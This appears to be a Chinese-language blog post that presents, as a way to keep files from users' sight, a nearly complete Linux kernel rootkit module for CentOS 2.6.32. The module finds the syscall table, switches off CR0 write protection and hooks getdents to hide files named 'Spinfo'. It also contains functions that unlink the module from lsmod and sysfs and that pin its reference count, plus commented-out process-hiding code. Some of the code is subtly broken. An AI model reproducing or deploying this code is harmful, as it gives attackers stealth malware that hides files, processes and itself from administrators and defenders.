在信息安全中,保护指定的文件不让用户看到,尤为重要,实现方式:劫持系统调用
系统信息:内核为2.6.32, CentOSX86_64
示例程序如下:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/list.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <linux/stat.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#define CALLOFF 100
//define idtr and idt struct
char psname[10] = "hello";
char *processname = psname;
static char *mod_name = "hook";
module_param(mod_name, charp, 0);
struct{
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{
unsigned short off_low;
unsigned short sel;
unsigned char none;
unsigned char flags;
unsigned short off_high;
}__attribute__((packed))*idt;
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
/*unsigned long *getscTable()
{
unsigned char idtr[6] = {0}, *shell = NULL, *sort = NULL;
struct _idt *idtLong = NULL;
unsigned long system_call = 0, sct = 0;
unsigned short offset_low = 0, offset_high = 0;
char *p = NULL;
int i = 0;
__asm__("sidt %0" : "=m" (idtr));
idtLong=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idtLong->offset_low;
offset_high = idtLong->offset_high;
system_call = (offset_high<<16)|offset_low;
shell=(char *)system_call;
sort="\xff\x14\x85";
for(i=0;i<(100-2);i++)
{
if(shell[i] == sort[0] && shell[i+1] == sort[1] && shell[i+2] == sort[2])
{
break;
}
}
p = &shell[i];
p += 3;
sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}*/
//define function, Point to the system being hijacked
struct linux_dirent
{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);
//int orig_cr0 = 0;
unsigned long *sys_call_table = NULL;
//get function system_call addr
/*void* get_system_call(void)
{
printk(KERN_ALERT "start get_system_call...\n");
void * addr = NULL;
asm("sidt %0":"=m"(idtr));
idt = (void*) ((unsigned long*)idtr.base);
addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
return addr;
}*/
//find sys_call_table
char* findoffset(char *start)
{
printk(KERN_ALERT "start findoffset...\n");
char *p = NULL;
int i = 0;
/*for(p=start; p < start + CALLOFF; p++)
{
if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\x85')
{
return p;
}
}*/
p = start;
for(i=0;i<(100-2);i++,p++)
{
if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\xc5')
{
printk(KERN_ALERT "p: 0x%x\n",p);
return p;
}
}
return NULL;
}
//get sys_call_table addr
/*void** get_system_call_addr(void)
{
printk(KERN_ALERT "start get_system_call_addr.../n");
unsigned long sct = 0;
char *p = NULL;
unsigned long addr = (unsigned long)get_system_call();
if((p=findoffset((char*) addr)))
{
sct = *(unsigned long*)(p + 3);
printk(KERN_ALERT "find sys_call_addr: 0x%x\n", (unsigned int)sct);
}
return ((void**)sct);
}*/
//clear and return cr0
unsigned int clear_and_return_cr0(void)
{
printk(KERN_ALERT "start clear_and_return_cr0...\n");
unsigned int cr0 = 0;
unsigned int ret = 0;
asm volatile ("movq %%cr0, %%rax":"=a"(cr0));
ret = cr0;
cr0 &= 0xfffffffffffeffff;
asm volatile ("movq %%rax, %%cr0"
:
:"a"(cr0)
);
return ret;
}
//ser cr0
void setback_cr0(unsigned int val)
{
printk(KERN_ALERT "start setback_cr0...\n");
asm volatile ("movq %%rax, %%cr0"
:
:"a"(val)
);
}
//char* to int
/*int atoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr = NULL;
for(ptr = str + strlen(str)-1; ptr >= str; ptr--)
{
if(*ptr < '0' || *ptr > '9')
{
return -1;
}
res += (*ptr - '0') * mul;
mul *= 10;
}
return res;
}*/
//check if process whose pid equals 'pid' is set to hidden
/*int ishidden(pid_t pid)
{
if(pid < 0)
{
return 0;
}
struct task_struct * task = NULL;
task = find_task_by_pid(pid);
printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
if(NULL != task && 1 == task->hide)
{
return 1;
}
return 0;
}*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr = NULL;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
{
if (*ptr < '0' || *ptr > '9')
{
return -1;
}
res += (*ptr - '0') * mul;
mul *= 10;
}
if(res>0 && res< 9999)
{
printk(KERN_INFO "pid = %d\n",res);
}
return res;
}
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry = NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found = %d\n",entry->pid);
return entry;
}
else
{
//printk(KERN_INFO "pid = %d not found\n",pid);
}
}
return NULL;
}
static inline char *get_name(struct task_struct *p, char *buf)
{
int i = 0;
char *name = NULL;
name = p->comm;
i = sizeof(p->comm);
do
{
unsigned char c = *name;
name++;
i--;
*buf = c;
if(!c)
{
break;
}
if('\\' == c)
{
buf[1] = c;
buf += 2;
continue;
}
if('\n' == c)
{
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}while(i);
*buf = '\n';
return buf + 1;
}
int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
char buffer[64] = {0};
if(task)
{
get_name(task, buffer);
//if(pid > 0 && pid < 9999)
//{
//printk(KERN_INFO "task name = %s\n",*buffer);
//}
if(strstr(buffer,processname))
{
printk(KERN_INFO "task name = %s\n", buffer);
return 1;
}
else
{
return 0;
}
}
return 0;
}
//the hacked sys_getdents64
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
/*long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;
printk(KERN_ALERT "hidden get dents/n");
struct kstat fbuf;
vfs_fstat(fd, &fbuf);//get file info
printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d\n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));
if(orig_getdents != NULL)
{
value = (*orig_getdents)(fd, dirp, count);
//if the file is in /proc
if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
{
printk(KERN_ALERT "this is proc\n");
}
}
else
{
printk(KERN_ALERT "orig_getdents is null\n");
}
return value;*/
//add by liangz 2016-03-14
struct linux_dirent* dirp2 = NULL, *dirp3 = NULL, *head = NULL , *prev = NULL;
long recordLength = 0, modifyBufLength = 0;
long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;
printk(KERN_ALERT "start call orig_getdents...\n");
value = (*orig_getdents) (fd, dirp, count);
//add by liangz 2016-03-14
dirp2 = (struct linux_dirent*)kmalloc(value, GFP_KERNEL);
if(!dirp2)
{
return value;
}
if(copy_from_user(dirp2, dirp, value))
{
printk(KERN_ALERT "fail to copy dirp to dirp2...\n");
return value;
}
head = dirp2;
dirp3 = dirp2;
modifyBufLength = value;
while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ value))
{
recordLength = dirp3->d_reclen;
if ( recordLength == 0)
{
break;
}
if (strncmp(dirp3->d_name, "Spinfo", 6) ==0)
{
printk("d_name = %s\n", dirp3->d_name);
if (!prev)
{
head = (struct linux_dirent*)((char *) dirp3 + recordLength);
modifyBufLength -= recordLength;
}
else
{
prev->d_reclen += recordLength;
memset(dirp3, 0, recordLength );
}
}
else
{
prev= dirp3;
}
dirp3 = (struct linux_dirent*)((char *) dirp3+ recordLength);
}
copy_to_user (dirp, head, modifyBufLength);
kfree(dirp2);
return modifyBufLength;
printk(KERN_ALERT "end call orig_getdents...\n");
//tlen = value;
//list dir table
/*while(0 < tlen)
{
len = dirp->d_reclen;
tlen = tlen - len;
if(0 == strcmp("spinfo", dirp->d_name))
{
printk("d_name = %s\n", dirp->d_name);
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide file successful...\n");
}
if(get_process(myatoi(dirp->d_name)))
{
printk("find process...\n");
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide process successful...\n");
}
if(tlen)
{
dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
}
}
printk(KERN_INFO "finished hacked_getdents...\n");
return value;*/
}
static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len)
{
const char *begin = NULL;
const char *const last_possible = (const char *) haystack + haystack_len - needle_len;
if (needle_len == 0)
{
printk(KERN_ALERT "needle_len == 0\n");
return (void*)haystack;
}
if (__builtin_expect(haystack_len < needle_len, 0))
{
return NULL;
}
for (begin = (const char *) haystack; begin <= last_possible; ++begin)
{
if (begin[0] == ((const char *) needle)[0]
&& !memcmp((const void *) &begin[1],
(const void *) ((const char *) needle + 1),
needle_len - 1))
{
return (void*) begin;
}
}
return NULL;
}
static unsigned long get_sct_addr(void)
{
#define OFFSET_SYSCALL 200
unsigned long syscall_long, retval;
char sc_asm[OFFSET_SYSCALL] = {0};
rdmsrl(MSR_LSTAR, syscall_long);
memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);
retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\xc5", 3);
if ( retval != 0 )
{
retval = (unsigned long) ( * (unsigned long *)(retval+3) );
}
else
{
printk("long mode : memmem found nothing, returning NULL");
retval = 0;
}
#undef OFFSET_SYSCALL
return retval;
//unsigned sys_call_off = 0;
/*void *sys_call_off = NULL;
unsigned sct = 0;
char *p = NULL;
unsigned char idtrT[6] = {0}, *shell = NULL, *sort = NULL;
struct _idt *idtT;
unsigned long system_call = 0;// sct = 0;
asm("sidt %0":"=m"(idtrT));
//idt = (void *) (idtr.base + 8 * 0x80);
printk(KERN_ALERT "=== 1 ===\n");
//idt = (void*) ((unsigned long*)idtr.base);
idtT = (struct _idt*)(*(unsigned long*)&idtrT[2]+8*0x80);
//idt = (struct _idt*)
//sys_call_off = (idt->off_high << 16) | idt->off_low;
printk(KERN_ALERT "=== 2 ===\n");
//sys_call_off = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
system_call = (idtT->offset_high<<16) | idtT->offset_low;
printk(KERN_ALERT "=== 3 ===\n");
if ((p = findoffset((char *) system_call)))
{
sct = *(unsigned *) (p + 3);
}
else
{
printk(KERN_ALERT " findoffset fail...\n");
}
return ((void **)sct);*/
}
int hideModule(void)
{
/*struct module *mod_head = NULL, *mod_counter = NULL;
struct list_head *p = NULL;
mod_head = &__this_module;
list_for_each(p, &mod_head->list)
{
mod_counter = list_entry(p, struct module, list);
printk(KERN_ALERT "mod name = %s\n", mod_counter->name);
if(strcmp(mod_counter->name, mod_name) == 0)
{
list_del(p);
printk(KERN_ALERT "remove module %s successfully.\n", mod_name);
return 0;
}
}
printk("Can't find module %s.\n", mod_name);
return -1;*/
list_del(&THIS_MODULE->list);//lsmod,/proc/modules
kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry
return 0;
}
static inline void rootkit_protect(void)
{
try_module_get(THIS_MODULE);// count++
//module_put(THIS_MODULE);//count--
}
static int __init hook_init(void)
{
printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE));
//rootkit_protect();
printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE));
/*int retHide = 0;
retHide = hideModule();
if(0 == retHide)
{
printk(KERN_ALERT "hide module success...\n");
}*/
/*if(0 == THIS_MODULE->state)
{
THIS_MODULE->state = 1;
}*/
printk(KERN_ALERT "start hook_init\n");
unsigned long orig_cr0 = 0;//clear_and_return_cr0();
sys_call_table = (unsigned long*)get_sct_addr();
sys_call_table = (unsigned long)sys_call_table | 0xffffffff00000000;
if(!sys_call_table)
{
printk(KERN_ALERT "=== get_sct_addr fail ===\n");
return -EFAULT;
}
else if(sys_call_table[__NR_getdents] != hacked_getdents)
{
printk(KERN_ALERT "start __NR_getdents64 ...\n");
//printk(KERN_ALERT "sct:0x%x\n", (unsigned long)sys_call_table);
printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x\n", (unsigned long)sys_call_table[__NR_getdents],(unsigned long)hacked_getdents);
orig_cr0 = clear_and_return_cr0();
orig_getdents = sys_call_table[__NR_getdents];
printk(KERN_ALERT "old:0x%x, new:0x%x\n",(unsigned long) orig_getdents, (unsigned long)hacked_getdents);
printk(KERN_ALERT "end __NR_getdents64 ...\n");
if(hacked_getdents != NULL)
{
printk(KERN_ALERT "call hacked_getdents...\n");
sys_call_table[__NR_getdents] = hacked_getdents;
}
setback_cr0(orig_cr0);
printk(KERN_INFO "hideps: module loaded.\n");
/*printk(KERN_ALERT"[insmod module] name:%s state:%d\n",THIS_MODULE->name,THIS_MODULE->state);
if(0 == THIS_MODULE->state)
{
THIS_MODULE->state = 1;
}*/
return 0;
}
else
{
printk(KERN_ALERT "system_call_table_long[__NR_getdents64] == hacked_getdents\n");
return -EFAULT;
}
}
static int __exit unhook_exit(void)
{
printk(KERN_ALERT "start unhook_exit\n");
unsigned long orig_cr0 = clear_and_return_cr0();
if(sys_call_table)
{
sys_call_table[__NR_getdents] = orig_getdents;
setback_cr0(orig_cr0);
printk(KERN_ALERT "unhook_exit success...\n");
return 0;
}
printk(KERN_ALERT "unhook_exit fail...\n");
return -EFAULT;
}
MODULE_AUTHOR("zhao liang. Halcrow <mhalcrow@us.ibm.com>");
MODULE_DESCRIPTION("hook hide process");
MODULE_LICENSE("GPL");
module_init(hook_init)
module_exit(unhook_exit)